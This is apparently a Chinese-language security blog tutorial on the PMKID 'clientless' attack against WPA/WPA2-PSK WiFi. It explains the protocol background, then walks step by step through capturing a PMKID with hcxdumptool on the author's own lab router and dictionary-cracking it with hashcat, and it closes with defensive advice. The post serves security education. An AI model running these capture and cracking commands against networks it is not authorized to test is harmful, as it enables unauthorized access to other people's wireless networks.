【颖奇L’AmoreのWiFi安全系列】#6 无需握手包破解WPA/WPA2 PSK——PMKID无客户端攻击 2 min read
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Author:颖奇L’Amore

Blog:www.gem-love.com


0x01 前言 

2018年8月4日,在hashcat论坛上一位安全研究员发了一个帖子,声称他在研究WPA3的安全性时无意中发现了一种全新的预共享密钥攻击方式,通过使用PMKID(Pairwise Master Key Identifier,成对主密钥标识符)破解WPA/WPA2的预共享密钥,轰动了全球。

这种“无客户端攻击”方法的出现,标志着暴力破解不再需要有活跃客户端的参与,但应用的条件有限,受影响范围较低。


0x02 攻击原理
1.介绍

在本系列文章的第二篇介绍了WPA2-PSK破解的原理,其必要条件是需要有EAPoL四次握手的报文,进而通过比较MIC值判断密钥是否正确。但是本文要介绍的这种方法的最大区别就在于它并不需要EAPoL四次握手包即可进行PSK的暴力破解。

通过PMKID进行无客户端暴力破解PSK的攻击方式并没有造成特别大的影响,因为它利用了RSN IE (Robust Security Network Information Element),漏洞的发现者称它适用于所有支持漫游功能的802.11i/p/q/r网络,这些特征在较高级的路由器上得到支持。

360安全研究院高级安全研究员兼产品经理、天马安全团队核心成员杨芸菲(qingxp9)统计了家庭网络和写字楼中受此漏洞威胁的Wi-Fi网络实际上不足3%。

这种方式之所以被称为“无客户端”攻击,是因为它是攻击者直接和AP对话的。

2.RSN

RSN IE是强健安全网络信息元素的简称,RSN要求必须使用AES加密以加强安全性,是一个802.11i的安全标准。其实,在2004年IEEE 802.11i修订完成后,WiFi联盟推出了沿用至今的WPA2,WPA2的加密由TKIP更新为AES正是因为RSN的要求。为了增强安全性,IEEE 802.11i为RSN提供了两个重要的协议:四次握手和主密钥握手,WPA/WPA2中的四次握手就源于此,因为它们都是基于802.11i的,顺便一提,WPA实际上是802.11i的一个草案标准,在802.11i修订成功后WiFi联盟便正式对其进行了升级并正式推出WPA2,所以WPA也使用四次握手也就不足为奇了。

RSN IE最大为255字节,报文结构如下:

RSN IE是802.11管理帧中的一个可变长度的可选字段,存在于在这些类型的帧中:

  • Beacon frames.(send by AP)
  • Probe Response frames.(send by AP)
  • Association Request frames.(send by Client)
  • Reassociation Request frames (Send by client)

如果想通过wireshark抓包,可以通过这个过滤器来抓取这4种管理帧:

wlan.fc.type == 0 && (wlan.fc.type_subtype == 0x00 || wlan.fc.type_subtype == 0x00 || wlan.fc.type_subtype == 0x05 || wlan.fc.type_subtype == 0x08)
3.PMKID

PMKID存在于RSN Information中的RSN Capabilies字段内。该漏洞发现者在hashcat论坛原文中贴出了PMKID的wireshark报文截图:

PMKID是通过PMK等进行哈希得到的一个哈希值,其计算公式为:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

让我们再次回顾EAPoL四次握手:

【颖奇L’AmoreのWiFi安全系列】#2 破解WPA/WPA2-PSK原理与实现

在完成链路关联后开始四次握手,可以看到,第一个携带着EAPoL Key的消息是由AP发出的:

因此,攻击者可以与AP开始四次握手,在四次握手的Message 1中得到所需要的数据,之后进行哈希爆破,并不需要其他客户端的参与。

4.IEEE 802.11r

该攻击方法的提出者称这种方法应用于支持漫游的WPA/WPA2-PSK认证的Wi-Fi网络。所谓漫游是一种支持从一个基站快速“无缝”切换到另一个基站的技术。举个例子,假设坐在高铁上打了10分钟的电话,高铁的速度是300km/h,那么这10分钟高铁行走了50公里,一个4G的基站的信号覆盖范围只有几百米,对于50公里肯定切换了很多个基站,但排除信号不好的情况下电话并没有发生卡顿,通话者也毫无感觉,这就是漫游。

更多相关知识请参考CCIE Wireless或CWSP认证相关文档。


0x03 攻击实现

环境介绍:

  • ESSID:Cisco_GEM-LOVE.COM
  • PSK:wWw.Gem-Love.Com
  • 认证:WPA2-PSK
  • 客户端:无
  • 路由器型号:Cisco CVR100W SmallBusiness VPN Router
  • 攻击者:Kali Linux 2019.4
1.工具安装

本攻击需要hcxtools/hcxdumptol/hashcat这三个工具

① 安装hcxtools

git clone https://github.con/ZerBea/hcxtools.git
make
make install

如果编译出这样的错误

需要安装一些依赖:

apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev

zlib1g-dev和libssl-dev在kali下已自带,如果是其他linux发行版本就敲上面这个命令,kali的话就不用安装这俩了。之后再make就可以了,这样表示make成功:

② 安装hcxdumptool

git clone https://github.com/ZerBea/hcxdumptool.git
make
make install

③ 安装hashcat

hashcat在kali linux下自带了。安装方式:

git clone https://github.com/hashcat/hashcat.git
make 
make install

或者直接:

apt-get install hashcat
2.捕获PMKID

首先用airmon-ng将网卡置于Monitor Mode

airmon-ng start wlan0

使用hcxdumptool破获PMKID

hcxdumptool -o /root/y1ng.pcapng -i wlan0mon --enable_status=1

在最下面可以看到这样的消息,表示获取PMKID成功:

16:52:59 4 b0febdd69882 <-> 10bd18082864 PMKID:b418e4f858c1b0c37662a8d5042014f2 (Cisco_GEM-LOVE.COM)

获取到目标的PMKID就可以暂停了

3.格式转换

这一步 目的是将刚刚的pccap包转换成hashcat可用的格式,使用hcxpcaptool:

hcxpcaptool -z y1ng.16800 y1ng.pcapng

这个16800可以通过hashcat --help查看帮助看到对应的hash类型:

 16800 | WPA-PMKID-PBKDF2 | Network Protocols

导出的16800格式的文件会每个PMKID占一行,打开是这样的:

用3个星号将它们分成4个部分,分别表示:

  • PMKID
  • MAC AP
  • MAC Station
  • ESSID
4.暴力破解

之后就可以使用hashcat进行破解了,我使用了一个包含100个密码的字典来演示,其中有我的正确的密码:

命令:

hashcat -m 16800 y1ng.16800 -a 0 -w 3 pass.txt --force

相关参数的解释:

-w, --workload-profile | Num | Enable a specific workload profile, see pool below | -w 3

- [ Workload Profiles ] -
# | Performance | Runtime | Power Consumption | Desktop Impact
===+=============+=========+===================+=================
1 | Low | 2 ms | Low | Minimal
2 | Default | 12 ms | Economic | Noticeable
3 | High | 96 ms | High | Unresponsive
4 | Nightmare | 480 ms | Insane | Headless
-a, --attack-mode | Num | Attack-mode, see references below | -a 3

- [ Attack Modes ] -
# | Mode
===+======
0 | Straight
1 | Combination
3 | Brute-force
6 | Hybrid Wordlist + Mask
7 | Hybrid Mask + Wordlist

--force是可选参数,用来忽略一些warning,如果报warning的话就加上

爆破成功则会得到预共享密钥了


0x04 安全建议
  • 无客户端攻击扔是离线暴力破解攻击,需要用户增强PSK密钥强度
  • 若无需要且条件允许则关闭Roaming
  • 及时更新路由器固件,摒弃不良Wi-Fi上网习惯,不适用“万能钥匙”,不连接公共Wi-Fi

0x05 References

https://hashcat.net/forum/thread-7717.html

https://en.wikipedia.org/wiki/IEEE_802.11i-2004

https://mrncciew.com/2014/08/21/cwsp-rsn-information-elements/

https://en.wikipedia.org/wiki/IEEE_802.11r-2008

https://www.freebuf.com/articles/wireless/179953.html

https://www.freebuf.com/articles/system/180837.html

https://dwz.cn/h3VYhkx9

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评论

  1. twoken

    这还是得需要字典啊。

    10月前
    2020-12-15 11:29:34

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